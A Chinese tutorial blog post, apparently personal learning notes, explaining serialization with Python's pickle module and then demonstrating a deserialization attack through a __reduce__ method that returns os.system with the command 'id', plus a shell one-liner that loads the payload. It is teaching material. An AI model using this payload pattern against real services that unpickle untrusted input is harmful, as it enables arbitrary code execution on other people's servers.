IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> 反序列化攻击详细解释 -> 正文阅读

[Python知识库]反序列化攻击详细解释

简介

详细的记录学习过程中的笔记,可以加我qq一起交流:3316735898

什么是序列化与反序列化

举一个例子,当你在玩游戏时,你正在操作的角色看起来如下
在这里插入图片描述
但反序列化后看起来就像这样

Vincent = {
	"type": "player"
	"health": 100,
	"position":{
	"x": 31337,
	"y":13.37,
	"z":4444
	}
}

这些只是一个充满值的对象,但当你关闭游戏时,这些值存储在电脑的RAM上,然后就永远消失了
如果想要把这些东西保存下来,object可以将这些值转换为存储的字节流,这个转换的过程就叫做序列化

           序列化
{object}------------>0101010101010101……

而把字节流从文件转回成object的逆过程,就叫做反序列化

           反序列化
{object}<------------0101010101010101……

python演示

为了更好的理解这些,我们用python来演示序列化于反序列化
进入python
在这里插入图片描述

在python中有一个序列化的模块,叫做pickle,我们可以用它来序列化我们设置的对象

https://docs.python.org/3/library/pickle.html

在这里插入图片描述
在python中输入以下代码

class User:
	def __init__(self,name,age):
		self.name = name
		self.age = age
	def summary(self):
		return f"{self.name} is {self.age} year(s) old"

在这里插入图片描述
输入完成后再按一下回车键就退出了
我解释一下代码:
我们创建了一个名为user的类,其中有两个属性,name和age,然后又创建了一个名为summary的函数,用这个函数作为我们输入对象的摘要

ret_v = User('baimao',17)
ret_v.summary()

然后调用这个类,输入name和age并显示出来
在这里插入图片描述
现在我们有了一个名为ret_v的对象,然后我们把这个对象序列化后显示出来看看是什么样子的
我们可以用pickle模块里一个名为dumps的函数来反序列化对象
在这里插入图片描述
导入pickle模块,然后使用dumps函数序列化对象

import pickle
pickle.dumps(ret_v)

在这里插入图片描述
返回了一大堆字节流,现在这个字节流可以通过网络传输到其他的机子上,甚至可以把它存储为一个文件或者一个磁盘

反汇编字节流

如果想反汇编字节流,可以使用一个名为pickletools的模块,直接导入即可,它可以帮助你反汇编字节流

ser = pickle.dumps(ret_v)
import pickletools
pickletools.dis(ser)

我们将字节流存储在ser变量里,然后调用模块对字节流进行反汇编操作
在这里插入图片描述
我们继续反序列化这个字节流,让他回到原始的状态

反序列化字节流

我们将使用loads函数,他也是pickle模块里的,它可以帮我们反序列化字节流
在这里插入图片描述

ser1 = pickle.dumps(ret_v)
ser2 = pickle.loads(ser1)
ser2.summary()

将反序列化后的字节流存储在ser2变量里,然后我们调用一开始我们设置的类
在这里插入图片描述
可以看到,成功的显示了我们序列化前的字符串

反序列化攻击

我们上面做的只是将字节流转换为一个对象,但是当我们程序接受任意输入时,如果用户的输入包含一些恶意的序列化数据,然后这些数据在服务器上被反序列化,服务器是在将用户的输入转换为一个对象,之后服务器就会被任意代码执行
我们写一个简单的脚本来更好的理解这些
创建一个模拟攻击的脚本,输入以下代码

import pickle
class GNAT:
	def __reduce__(self):
		import os
		return(os.system,('id'))
serialized = pickle.dumps(GNAT())

print(serialized)

代码解释:
导入pickle模块,然后创建一个名为GNAT的类,这个类调用了一个reduce函数,我们将在这里编写我们的恶意代码

什么是reduce函数

https://docs.python.org/3/library/pickle.html

在这里插入图片描述
它是一个在对象被转储或者序列化时被实际调用的函数,会返回一个元组,第一个值为函数,第二个值为第一个函数的参数,所以我们这里使用system函数执行我们想要执行的命令

import os
return(os.system,('id',))

然后从这个类里创建了一个对象,然后序列化

serialized = pickle.dumps(GNAT())

保存后,新开一个终端,模拟被攻击的服务器
在这里插入图片描述
在这里插入图片描述
脚本执行正常,现在使用终端模拟服务器反序列化这个字符流,并读取其中的信息

python -c "import pickle; pickle.loads($(python3 exl1.py))"

在这里插入图片描述
成功执行

总结

这是记录学习过程中的笔记,之后会写一篇关于php反序列化攻击的文章,欢迎大家来关注我

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-05-01 15:42:14  更:2022-05-01 15:43:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 15:23:19-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码